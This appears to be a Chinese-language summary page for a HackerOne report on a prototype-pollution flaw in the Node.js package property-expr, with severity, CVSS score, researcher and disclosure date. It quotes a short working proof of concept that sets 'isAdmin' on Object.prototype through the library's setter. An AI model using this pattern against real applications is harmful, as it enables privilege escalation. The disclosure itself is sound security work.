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地图 / property-expr - Prototype pollution

property-expr - Prototype pollution

业务逻辑 / Modification of Assumed-Immutable Data (MAID) / #910206

厂商
Node.js third-party modules
严重程度
中危 · CVSS 7.3
赏金
—
弱点
Modification of Assumed-Immutable Data (MAID)
研究员
@ahihi
披露日期
2020-09-24
资产
property-expr
CVE
—

该报告还没有中文解读。

原文摘录

摘自原文(1104 字符中的一小部分)
I would like to report Prototype pollution in property-expr It allows attacker to modify the prototype of a base object.
原文中的代码
let expr = require('property-expr')
obj = {}
expr.setter('constructor.prototype.isAdmin')(obj,true)
console.log({}.isAdmin) // true

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @ahihi · 版权归作者与 Node.js third-party modules 所有

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